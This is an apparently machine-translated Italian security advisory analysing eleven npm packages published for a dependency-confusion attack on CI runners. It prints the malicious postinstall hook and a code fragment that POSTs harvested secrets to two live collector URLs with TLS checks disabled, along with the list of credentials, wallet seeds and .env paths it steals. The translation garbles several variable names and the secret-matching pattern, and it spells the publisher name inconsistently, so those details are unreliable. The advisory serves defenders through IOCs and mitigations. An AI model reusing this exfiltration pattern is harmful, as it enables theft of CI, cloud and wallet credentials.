TL; DR
Il 17/06/2026 è stato pubblicato un singolo account npm. undici pacchetti che condividono un unico scopo e un unico carico utile. Dieci di loro portano il cryptodao- prefisso (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); l'undicesimo è quello con ambito @public-for-cdao/core. Ognuno è stato pubblicato alla versione 99.99.99 e spedisce un byte identico recon.js che funziona postinstall.
I nomi sono rivelatori. Sembrano i blocchi costitutivi interni della toolchain privata di un progetto crypto/DAO. Pubblicati sul registro pubblico npm con una versione artificialmente alta, restano in attesa di una build. pipeline che è configurato per risolvere quei nomi e che raggiunge npm pubblico prima, o al posto, del registro privato. Questo è confusione di dipendenzae il carico utile è ottimizzato per atterrare esattamente nel punto previsto: CI/CD corridori.
Quando postinstall incendi, recon.js raccoglie i dettagli dell'host, esegue una scansione approssimativa quaranta variabili d'ambiente relative a cloud, CI e portafogli di criptovalute, legge qualsiasi .env individua i file che riesce a trovare e inoltra le righe contenenti il segreto parola per parola, quindi trasmette il pacchetto a due collettori — webhook.site e un endpoint Pipedream — con la verifica del certificato TLS disabilitata. Una copia è anche scritta sotto /tmp.
Gravità: altoEcosistema interessato: npmAl momento della stesura di questo testo, tutti e undici i pacchetti risultavano attivi.
Attacco anatomico
Il meccanismo ha quattro parti mobili, e nessuna di esse è sottile una volta che sai come guarda il livello successivo al nome del pacchetto.
1. L'inflazione della versione come esca per il resolver. Ogni pacchetto dichiara la versione 99.99.99. La confusione di dipendenza funziona quando un gestore di pacchetti ha richiesto un nome interno, controlla anche il registro pubblico e sceglie la versione più alta trova. La selezione predefinita di npm per un intervallo con cursore o carattere jolly è la versione più soddisfacente su ogni sorgente configurata; se entrambe sono private Nel caso di un nome simile, sia nel registro che nella risposta pubblica npm, prevale il numero di versione più alto. A 99.99.99 supera essenzialmente qualsiasi versione interna reale che un progetto avrà raggiunto, quindi un resolver che non è fissato alla sorgente privata preferisce il copia pubblica — e in questo caso, ostile. L'operatore non ha bisogno di conoscere il I veri numeri di versione del target; la scelta di un massimo assurdo garantisce sempre il pareggio si fanno strada.
2. Un trigger post-installazione. pacchetto.json collega il carico utile all'installazione ciclo vitale:
{ "scripts": { "postinstall": "node recon.js" } } Non è richiesta alcuna importazione del pacchetto. È sufficiente installarlo — che è un CI pipeline fa automaticamente — esegue recon.js.
3. Una vasta operazione di segretezza. recon.js Assembla un array di risultati in fasi:
- Contesto host: nome host, piattaforma e release, architettura, nome utente, lavoro directory.
- Variabili d'ambiente: itera un elenco fisso di circa quaranta nomi e record qualsiasi che sia impostato. L'elenco è rivelatore: abbina token CI generici (CI_JOB_TOKEN, CI_REGISTRI_PASSWORD, TOKEN DI ACCESSO GITLAB) e nuvola credenziali (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, TOKEN DI SESSIONE AWS) con segreti di registro e container (NPM_TOKEN, PASSWORD DOCKER, PASSAPORTO PORTUALE) e un cluster decisamente orientato al mondo delle criptovalute: CHIAVE PRIVATA, MNEMONICO, FRASE DI SEME, CHIAVE API INFURA, CHIAVE API ALCHEMY, ETH_RPC, BSC_RPCI valori registrati vengono troncati ai primi 50 caratteri.
- .env file: analizza un elenco di percorsi — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, e .produzione/.sviluppo varianti — e per ogni file che esiste, esso filtra il contenuto per le righe corrispondenti CHIAVE|SEGRETO|TOKEN|PASSWORD|PRIVATO|MNEMICO e inserisce quelle righe **per intero, senza troncamenti** nei risultati.
- Contesto dell'host di build: elenca le prime 20 voci di /costruzioni/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/e / Tmp /.
L'elenco dei percorsi e l'elenco delle variabili sono ponderati in base ai runner di GitLab, il che indica il payload direttamente sull'infrastruttura CI self-hosted piuttosto che su un sviluppatore portatile. Raggruppare l'elenco del raccolto per categoria rende chiaro il bottino previsto:
| Categoria | Variabili / percorsi raggiunti |
|---|---|
| CI/CD identità e distribuzione | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Cloud | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registro e contenitore | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Archivi dati | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Criptovaluta/blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Messaging | SLACK_TOKEN, DISCORD_TOKEN |
| Su disco | .env famiglia + /home/gitlab-runner/.env, /root/.env, /app/**/.env; elenchi di directory di /builds/, /var/lib/gitlab-runner/ |
Il cluster crittografico è la parte che distingue questo da un segreto CI generico sweep: le frasi di recupero del portafoglio e le chiavi di firma appaiono solo nell'ambiente di un progetto blockchain e si mappano direttamente sul cryptodao-/firmatario/contratti denominazione dei vettori.
4. Doppia esfiltrazione con verifica disabilitata. L'array raccolto è serializzato e inviato tramite POST a due destinazioni:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) rejectUnauthorized: falso disattiva i controlli del certificato TLS per la connessione in uscita chiamate. Gli stessi dati vengono stampati su stdout (quindi finiscono anche nei log dei job CI) e scritto /tmp/.npm_recon_ .jsonGli errori vengono inghiottiti silenziosamente, quindi un L'invio fallito non lascia traccia nell'output di installazione oltre a un singolo [ricognizione] installato su linea.
Un commento in primo piano nel file lo descrive come una "Confusione di dipendenza". Carico utile di ricognizione." Il troncamento dei valori ambientali a 50 caratteri ha la forma di una prova di concetto. Ciò che lo fa andare oltre un faro di sola presenza è il .env gestione: le linee che contengono segreti vengono inoltrate integralmente e le destinazioni sono due collettori funzionanti controllati dall'attaccante piuttosto che un sink che conta solo colpi.
timeline
Il modello di pubblicazione è la firma di un singolo push scriptato, non di undici caricamenti indipendenti.
| Ora (UTC, 17-06-2026) | Event |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 pubblicato |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — variante mirata, circa 24 minuti dopo |
Dieci pacchi sono stati spediti in un intervallo di 29 secondi, circa uno ogni tre secondi. Il mirino @public-for-cdao/core seguito circa 24 minuti dopo — un secondo convenzione di denominazione per lo stesso target, nel caso in cui il progetto consumatore faccia riferimento a Toolchain interna sotto un ambito anziché come semplici nomi.
Indicatori di compromesso
| Tipo | |
|---|---|
| Collettore | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Collettore | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Installare il gancio | postinstall: node recon.js |
| File eliminato | /tmp/.npm_recon_<timestamp>.json |
| Indicatore di registro | [recon] <pkg>@<ver> installed on <hostname> (output standard nei log CI) |
| Behavioral | rejectUnauthorized: false su HTTPS in uscita durante l'installazione |
| Carico utile | recon.js, identico in tutti gli undici pacchetti (una build condivisa) |
| Versione | 99.99.99 su ogni confezione |
| personalizzati | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (tutti 99.99.99) |
| Publisher | aduljune / aduljune@proton.me (email non verificata, nessun repository di origine collegato) |
Attribuzione e comportamento osservato
Tutto ciò che riguarda il cluster punta in una sola direzione. Tutti gli undici pacchetti sono stati pubblicati. dall'account npm adduljune (aduljune@proton.me, un indirizzo non verificato senza repository sorgente collegato), entro un intervallo di 25 minuti, allo stesso tempo 99.99.99 versione, spedizione di recon.js il cui contenuto è identico byte per byte su ogni pacchetto (corrispondenze MD5 su tutte le undici copie estratte). Questo è un payload impressi su un elenco di nomi, non riutilizzo indipendente del codice.
L'elenco dei nomi definisce il destinatario previsto. cryptodao-* and cdao descrivi il Struttura del modulo privato di un progetto crypto/DAO e elenco di raccolta del payload. rispecchia quell'ipotesi: insieme ai segreti generici di CI e cloud, specifica raggiunge per CHIAVE PRIVATA, MNEMONICO, FRASE DI SEMEe Ethereum/BSC RPC e chiavi del provider. Il .env percorsi di ricerca ed elenchi di directory sono GitLab-runner specifico. L'effetto osservabile è che qualsiasi pipeline ingannati nell'installazione di questi i nomi inoltrerebbero i suoi token CI, le chiavi cloud e su disco .env segreti — e, per un progetto blockchain, il materiale del suo portafoglio — a due raccoglitori terzi.
Non esprimiamo alcuna affermazione su chi gestisce l'account o su cosa avessero intenzione di fare con esso dati. I fatti che stanno da soli: i nomi si rivolgono a un tipo specifico di toolchain interna, il payload legge e trasmette valori segreti reali e il L'infrastruttura era attiva.
Impatto, tendenze e linee guida per i difensori
Confusione di dipendenza rimane efficace perché sfrutta il comportamento del resolver, non un vulnerabilità in qualsiasi pacchetto. Il vettore qui è banale: undici quasi vuoti pacchetti — ma il raggio d'esplosione è qualsiasi cosa pipeline preferisce erroneamente npm pubblico per un nome interno. I runner CI sono il posto peggiore in cui ciò possa accadere: contengono esattamente i gettoni e .env file che questo payload legge e installa dipendenze non interattive, quindi un post-installazione corre senza che nessuno lo guardi.
Questo cluster si adatta anche a uno schema che continuiamo a vedere: payload in fase di installazione che presentano come “ricerca” o “ricognizione” durante la reale raccolta di credenziali. L’etichetta nel file non cambia ciò che fa il codice su un runner. Due scelte di progettazione mantengono l'attività silenziosa: ogni operazione di rete e di filesystem è avvolta in un gestore delle eccezioni che scarta gli errori, ad esempio un invio bloccato o un file mancante non produce alcun output diagnostico e l'unica cosa stampata è un singolo innocuo [ricognizione] … installato linea che si mimetizza nelle normali chiacchiere di installazione. L'uso di webhook.site e Pipedream è anche una comodità deliberata: entrambi sono gratuiti, servizi di acquisizione delle richieste forniti istantaneamente, quindi l'operatore non ha bisogno di server di i loro e le destinazioni appaiono come normali hostname SaaS nei log di uscita.
Sono gli aspetti economici che rendono questo degno dell'attenzione di un difensore, anche se Il codice operatore è banale. Registrare undici nomi non costa nulla, il payload è uno file copiato undici volte e il gestore di pacchetti esegue tutta l'esecuzione. Un singolo non configurato correttamente pipeline ovunque consumi uno di questi nomi paga per l'intero
Misure concrete per i difensori:
- Aggiungi gli ambiti interni al tuo registro privato. Configura npm in modo che i nomi interni
e gli ambiti si risolvono solo rispetto al tuo registro (mappature del registro .npmrc con ambito, o un proxy che non passa mai al repository npm pubblico per i namespace di proprietà). Riserva i nomi dei tuoi ambiti pubblici in modo che nessun altro possa registrarli.
- Commit blocca i file e installa con –ignore-scripts in CI dove possibile, o Verificare il piccolo insieme di dipendenze che necessitano effettivamente di script di installazione. recon.js non può essere eseguito se post-installazione non viene eseguito.
- Trattare una versione 99.99.99 (o altra versione assurdamente alta) di un nome dall'aspetto interno come una bandiera rossa nell'ambito della revisione della dipendenza e del monitoraggio del registro.
- Avviso in fase di installazione durante l'uscita dal sistema. A post-installazione che apre un HTTPS in uscita connessione — soprattutto con la verifica del certificato disabilitata — a Servizi come webhook.site, Pipedream o simili, che richiedono la cattura di richieste, dovrebbero essere bloccati al confine della rete e segnalati nei log di compilazione.
- Cerca i manufatti. Controlla i corridori per /tmp/.npm_recon_*.json e per la [recon] … installato su … marcatore nei log CI recenti. Se trovato, ruota ogni credenziale esposta a quello pipeline — Token CI, chiavi cloud, token di registro e qualsiasi seed di portafoglio o chiave privata presente nei file di ambiente o .env.
Referenze
Al momento della stesura del presente documento non esisteva alcuna segnalazione esterna su questo cluster; l'analisi quanto sopra si basa direttamente sul contenuto del pacchetto pubblicato




